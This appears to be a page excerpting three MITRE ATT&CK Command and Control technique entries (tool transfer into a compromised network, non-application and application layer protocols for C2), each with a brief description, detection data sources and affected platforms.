Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre